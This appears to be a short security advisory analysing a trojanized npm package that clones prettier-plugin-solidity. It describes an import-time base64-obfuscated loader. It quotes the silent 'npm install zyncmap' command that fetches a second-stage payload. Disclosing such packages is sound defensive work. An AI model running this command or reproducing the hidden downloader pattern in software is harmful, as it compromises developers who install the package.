hardhat-plugin-solidity@2.3.1

Analysis

hardhat-plugin-solidity@2.3.1 is a trojanized clone of the legitimate prettier-plugin-solidity. The package's main entry point (dist/index.js) contains injected code that executes on module import. The payload decodes a base64-obfuscated command and silently spawns a child process to run: npm install zyncmap --no-save --silent --no-audit --no-fund. After the install completes, it requires the zyncmap package and executes its code as a second-stage payload. All commands are base64-obfuscated; the module name "zyncmap" is also base64-encoded. The legitimate Solidity formatting code is present but is scaffolding for the injected downloader.